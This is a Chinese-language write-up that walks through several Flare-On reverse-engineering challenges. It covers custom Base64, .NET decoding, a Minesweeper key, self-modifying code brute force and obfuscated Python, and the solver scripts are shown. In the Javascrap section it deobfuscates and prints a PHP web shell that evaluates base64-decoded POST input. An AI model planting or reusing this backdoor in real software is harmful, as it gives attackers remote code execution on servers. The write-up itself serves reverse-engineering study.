Chanllenge1
一个修改了 table 的 Base64
import base64
import string
fake_base = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
true_base = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
cipher = 'x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q'
good_cipher = ''
for c in cipher:
good_cipher += true_base[fake_base.index(c)]
print (good_cipher)
print (base64.b64decode(good_cipher))
Bob Doge
先运行测试一下,发现点击 Decode
之后是乱码
用 dnSpy
打开,找到 Main
函数
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
发现只新建了一个 Form1
进入 Form1
,找到带有 Click
的函数
private void btnDecode_Click(object sender, EventArgs e)
{
this.pbRoge.Image = Resources.bob_roge;
byte[] dat_secret = Resources.dat_secret;
string text = "";
foreach (byte b in dat_secret)
{
text += (char)((b >> 4 | ((int)b << 4 & 240)) ^ 41);
}
text += "\0";
string text2 = "";
for (int j = 0; j < text.Length; j += 2)
{
text2 += text[j + 1];
text2 += text[j];
}
string text3 = "";
for (int k = 0; k < text2.Length; k++)
{
char c = text2[k];
text3 += (char)((byte)text2[k] ^ 102);
}
this.lbl_title.Text = text3;
}
发现是从一个 Resources
的地方调用来了一个 dat_secret
。但找不到这个地方。
于是考虑进行动态调试。
打上断点后调试,点击 Decode
按钮,进入如下页面
一开始以为最后的 text3
是 flag
,结果看到 text
变量长得就很好看,符合 FlareOn 的 flag 的特征,于是直接提交试试,发现通过。
UltimateMinesweeper
运行软件测试一下,发现是一个 $30\times 30$ 的扫雷,只有三个格子不是雷。
exeinfo发现是 .NET
文件,因此拖到 dnSpy
中
由于是面向对象代码,不太好分析,所以进行动态调试,在生成完扫雷界面后停下,查看内存数据,发现在 mineField.MinesPresent
中存有雷的位置。
先尝试直接手动把雷扔到前三个,然后运行试一下,发现:
- 二元数组是先竖后横
- 最后出现的结果是乱码
因此简单看一下最后的生成函数
寻找 SuccessPopup
的调用
发现 new SuccessPopup(this.GetKey(this.RevealedCells)).ShowDialog();
因此找到这个方法
private string GetKey(List<uint> revealedCells)
{
revealedCells.Sort();
Random random = new Random(Convert.ToInt32(revealedCells[0] << 20 | revealedCells[1] << 10 | revealedCells[2]));
byte[] array = new byte[32];
byte[] array2 = new byte[]
{
245,
75,
65,
142,
68,
71,
100,
185,
74,
127,
62,
130,
231,
129,
254,
243,
28,
58,
103,
179,
60,
91,
195,
215,
102,
145,
154,
27,
57,
231,
241,
86
};
random.NextBytes(array);
uint num = 0U;
while ((ulong)num < (ulong)((long)array2.Length))
{
byte[] array3 = array2;
uint num2 = num;
array3[(int)num2] = (array3[(int)num2] ^ array[(int)num]);
num += 1U;
}
return Encoding.ASCII.GetString(array2);
}
似乎最后的结果和扫雷时点击的位置也有关系,所以不能手动修改雷的位置
那就找到三个 False
并记录下来即可
7 20
28 7
24 28
运行并点击这三个位置
最后弹出 flag
[FlareOn1]Javascrap
一开始盯着网页看了半天,找不到题目在哪儿,就看了眼别人的wp,发现文件就在图片里
用010editor打开,找到php文件,导出
<?php
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++){
$do_me=$do_me.$terms[$order[$i]];
}
eval($do_me);
?>
用国赛学来的方法,直接把 eval
改成 print
然后放在线环境运行一下,得到第二份脚本
$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));
这次好像在线环境运行不了,看一下字符串都是什么,复制到python里,发现 $___
是 base64_decode
于是把 $__
解码一下,得到
$code=base64_decode($_);eval($code);
所以只要解码 $_
就可以了,得到
if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }
POST请求是什么不太清楚,但看到这些字符好像都在可见字符范围内,所以直接转成string,得到
b'a11DOTthatDOTjava5crapATflareDASHonDOTcom'
把 DOT
,AT
,DASH
都转成对应的符号,就拿到flag了
[FlareOn4]greek_to_me
尝试运行一下,发现不能输入
逆向,发现127.0.0.1的字样,以及socket等明显的网络通信函数
直接运行的时候看一下主机端口,发现是 127.0.0.1:2222
,用Windows下的nc连上去就可以进行调试了
SMC还是很明显的
发现解SMC时仅用了第一个字节,但由于不知道里面有什么,猜测可能是对后面的字节进行验证,所以决定将程序本地复现一下,爆破解SMC的密钥
#include <stdio.h>
unsigned char ida_chars[] =
{
0x33, 0xE1, 0xC4, 0x99, 0x11, 0x06, 0x81, 0x16, 0xF0, 0x32,
0x9F, 0xC4, 0x91, 0x17, 0x06, 0x81, 0x14, 0xF0, 0x06, 0x81,
0x15, 0xF1, 0xC4, 0x91, 0x1A, 0x06, 0x81, 0x1B, 0xE2, 0x06,
0x81, 0x18, 0xF2, 0x06, 0x81, 0x19, 0xF1, 0x06, 0x81, 0x1E,
0xF0, 0xC4, 0x99, 0x1F, 0xC4, 0x91, 0x1C, 0x06, 0x81, 0x1D,
0xE6, 0x06, 0x81, 0x62, 0xEF, 0x06, 0x81, 0x63, 0xF2, 0x06,
0x81, 0x60, 0xE3, 0xC4, 0x99, 0x61, 0x06, 0x81, 0x66, 0xBC,
0x06, 0x81, 0x67, 0xE6, 0x06, 0x81, 0x64, 0xE8, 0x06, 0x81,
0x65, 0x9D, 0x06, 0x81, 0x6A, 0xF2, 0xC4, 0x99, 0x6B, 0x06,
0x81, 0x68, 0xA9, 0x06, 0x81, 0x69, 0xEF, 0x06, 0x81, 0x6E,
0xEE, 0x06, 0x81, 0x6F, 0xAE, 0x06, 0x81, 0x6C, 0xE3, 0x06,
0x81, 0x6D, 0xEF, 0x06, 0x81, 0x72, 0xE9, 0x06, 0x81, 0x73,
0x7C
};
#define HIBYTE(x) ((x & 0xFF00) >> 8)
int main(){
for (unsigned short buf = 0; buf <= 0xff; buf++){
unsigned char new_char[130];
unsigned char *a1 = new_char;
unsigned int i = 0;
do {
*a1 = (buf ^ ida_chars[i++]) + 34;
++a1;
} while ( i < 121 );
unsigned int v2 = 0x79; // 0x79
a1 = new_char;
unsigned short v3 = 255;
for ( i = 255; v2; v3 = HIBYTE(v3) + (unsigned char)v3 ) {
unsigned short v5 = i;
int v6 = v2;
if ( v2 > 0x14 )
v6 = 0x14;
v2 -= v6;
do {
v5 += *a1;
v3 += v5;
++a1;
--v6;
} while ( v6 );
i = HIBYTE(v5) + (unsigned char)v5;
}
int ret = (HIBYTE(i) + (unsigned char)i) | ((v3 << 8) + (v3 & 0xFF00));
// if (buf == 'f')
// printf("%x\n", ret); // 0xf51c
// if (buf == '@')
// printf("%x\n", ret); // 0x60ee
if (ret == 0xFB5E) {
printf("%d\n", buf);
break;
}
// printf("%c %x\n", buf, ret);
}
}
一开始给的范围小了(以为会是可见字符),一直爆破不出来,反复验证了好多次,后来才发现范围是 0-0xff
最后爆破出来是 0xA2
,思考了一下怎么nc传递不可见字符,然后决定直接动调改内存
下断点,然后修改buf,之后看一眼SMC解密结果,发现直接给flag了,去栈里dump一下
[FlareOn5]FLEGGO
看名字还以为是个go呢,结果发现是个披着re外套的misc(流汗
解压后发现有一堆程序,先随便挑一个日
动调发现需要输入一串字符串,刚开始还想看看是不是和base64有关,后来发现这串字符串就在exe文件中,那就直接上python整批量操作了
发现password存的地址是固定的,那就用subprocess对每个exe运行一下
放个脚本
import subprocess
import os
# from pwn import *
files = [
"./1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe",
"./1JpPaUMynR9GflWbxfYvZviqiCB59RcI.exe",
"./2AljFfLleprkThTHuVvg63I7OgjG2LQT.exe",
"./3Jh0ELkck1MuRvzr8PLIpBNUGlspmGnu.exe",
"./4ihY3RWK4WYqI4XOXLtAH6XV5lkoIdgv.exe",
"./7mCysSKfiHJ4WqH2T8ERLE33Wrbp6Mqe.exe",
"./AEVYfSTJwubrlJKgxV8RAl0AdZJ5vhhy.exe",
"./BG3IDbHOUt9yHumPceLTVbObBHFneYEu.exe",
"./Bl0Iv5lT6wkpVCuy7jtcva7qka8WtLYY.exe",
"./Bp7836noYu71VAWc27sUdfaGwieALfc2.exe",
"./E36RGTbCE4LDtyLi97l9lSFoR7xVMKGN.exe",
"./Ew93SSPDbgiQYo4E4035A16MJUxXegDW.exe",
"./HDHugJBqTJqKKVtqi3sfR4BTq6P5XLZY.exe",
"./IXITujCLucnD4P3YrXOud5gC7Bwcw6mr.exe",
"./JIdE7SESzC1aS58Wwe5j3i6XbpkCa3S6.exe",
"./JXADoHafRHDyHmcTUjEBOvqq95spU7sj.exe",
"./K7HjR3Hf10SGG7rgke9WrRfxqhaGixS0.exe",
"./MrA1JmEDfPhnTi5MNMhqVS8aaTKdxbMe.exe",
"./NaobGsJ2w6qqblcIsj4QYNIBQhg3gmTR.exe",
"./P2PxxSJpnquBQ3xCvLoYj4pD3iyQcaKj.exe",
"./PvlqINbYjAY1E4WFfc2N6rZ2nKVhNZTP.exe",
"./SDIADRKhATsagJ3K8WwaNcQ52708TyRo.exe",
"./SeDdxvPJFHCr7uoQMjwmdRBAYEelHBZB.exe",
"./aSfSVMn7B8eRtxgJgwPP5Y5HiDEidvKg.exe",
"./azcyERV8HUbXmqPTEq5JFt7Ax1W5K4wl.exe",
"./bmYBZTBJlaFNbbwpiOiiQVdzimx8QVTI.exe",
"./cWvFLbliUfJl7KFDUYF1ABBFYFb6FJMz.exe",
"./d4NlRo5umkvWhZ2FmEG32rXBNeSSLt2Q.exe",
"./dT4Xze8paLOG7srCdGLsbLE1s6m3EsfX.exe",
"./dnAciAGVdlovQFSJmNiPOdHjkM3Ji18o.exe",
"./eEJhUoNbuc40kLHRo8GB7bwFPkuhgaVN.exe",
"./eovBHrlDb809jf08yaAcSzcX4T37F1NI.exe",
"./gFZw7lPUlbOXBvHRc31HJI5PKwy745Wv.exe",
"./hajfdokqjogmoWfpyp4w0feoeyhs1QLo.exe",
"./iJO15JsCa1bV5anXnZ9dTC9iWbEDmdtf.exe",
"./jJHgJjbyeWTTyQqISuJMpEGgE1aFs5ZB.exe",
"./kGQY35HJ7gvXzDJLWe8mabs3oKpwCo6L.exe",
"./lk0SOpnVIzTcC1Dcou9R7prKAC3laX0k.exe",
"./u3PL12jk5jCZKiVm0omvh46yK7NDfZLT.exe",
"./u8mbI3GZ8WtwruEiFkIl0UKxJS917407.exe",
"./v6RkHsLya4wTAh71C65hMXBsTc1ZhGZT.exe",
"./w3Y5YeglxqIWstp1PLbFoHvrQ9rN3F3x.exe",
"./wmkeAU8MdYrC9tEUMHH2tRMgaGdiFnga.exe",
"./x4neMBrqkYIQxDuXpwJNQZOlfyfA0eXs.exe",
"./xatgydl5cadiWFY4EXMRuoQr22ZIRC1Y.exe",
"./xyjJcvGAgswB7Yno5e9qLF4i13L1iGoT.exe",
"./y77GmQGdwVL7Fc9mMdiLJMgFQ8rgeSrl.exe",
"./zRx3bsMfOwG8IaayOeS8rHSSpiRfc9IB.exe"
]
for f in files:
cur_file = open(f, 'rb')
cur_file.seek(0x2AB0)
read_file = cur_file.read(32)
password = b''
for p in read_file:
if p != 0:
password += p.to_bytes(1, 'big')
# print (password)
p = subprocess.Popen(f, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
out, err = p.communicate(password + b'\n')
# print (out)
pic_name = out[47:59]
char_of_pic = out[-3].to_bytes(1, 'big')
os.rename(pic_name, char_of_pic + pic_name)
输出会说每个图片对应的字符,点开图片后发现左上角有数字,应该是下标
这tm就是misc啊!
剩下的就是手动找位置了,屑
[FlareOn1]5get_it
给的是一个DLL文件(没记错的话),应该是用来钩取键盘输入的,根据不同的输入执行不同的内容,观察到有个函数为 sub_10001240
,执行成功就说明通过了
查找引用
const char *sub_10009AF0()
{
if ( dword_100194FC > 0 )
{
_cfltcvt_init();
sub_10001240();
}
return "m";
}
要求让内存中一个数不为0,根据这个数再向上找
const char *sub_10009B60()
{
if ( dword_1001947C <= 0 )
{
if ( dword_10019490 <= 0 )
{
if ( dword_100194E0 <= 0 )
{
if ( dword_100194EC <= 0 )
{
if ( dword_100194F8 <= 0 )
{
_cfltcvt_init();
}
else
{
dword_100194F8 = 0;
dword_100194FC = 1;
}
}
else
{
dword_100194EC = 0;
dword_100194F0 = 1;
}
}
else
{
dword_100194E0 = 0;
dword_100194E4 = 1;
}
}
else
{
dword_10019490 = 0;
dword_10019494 = 1;
}
}
else
{
dword_1001947C = 0;
dword_10019480 = 1;
}
return "o";
}
看到最里面就是赋值为1,所以最后两位输入就是 om
根据这个方法一点一点向上找引用,就能恢复出flag
不过不知道大小写是怎么判断的,网上也没查到
[FlareOn]starter
baby
先执行给的程序,会自动解压出一个小程序,反编译一下,观察到
ReadFile(v2, byte_402158, 0x32u, &NumberOfBytesWritten, 0);
v0 = 0;
while ( ((unsigned __int8)byte_402158[v0] ^ 0x7D) == byte_402140[v0] )
{
if ( ++v0 >= 24 )
return WriteFile(hFile, aYouAreSuccess, 0x12u, &NumberOfBytesWritten, 0);
}
直接dump数据进行异或就行
[FlareOn2]elfie
这题是个python的可执行文件,能解出一个混淆过的python文件
import base64
O0OO0OO00000OOOO0OOOOO0O00O0O0O0 = 'IRGppV0FJM3BRRlNwWGhNNG'
OO0O0O00OO00OOOOOO0O0O0OOO0OOO0O = 'UczRkNZZ0JVRHJjbnRJUWlJV3FRTkpo'
OOO0000O0OO0OOOOO000O00O0OO0O00O = 'xTStNRDJqZG9nRCtSU1V'
OOO0000O0OO0OOOOO000O00O0OO0O00O += 'Rbk51WXI4dmRaOXlwV3NvME0ySGp'
# many lines
exec(base64.b64decode(OOO))
把最后的exec改成print,查看一下代码,发现里面的字符串都被 [::-1]
了,解一下发现其中一个就是flag
[FlareOn2]Android
so层逆向,程序是将前后两个输入合并,然后做一个质因数分解,手动dump了一下数据,然后写脚本(如果会idapython就好了,留下了不学无术的泪水.jpg)
from libnum import *
for f in extract:
flag = 1
for i in range(len(f)):
flag *= pow(prime[i], f[i])
print (n2s(flag).decode(), end = '')
print ()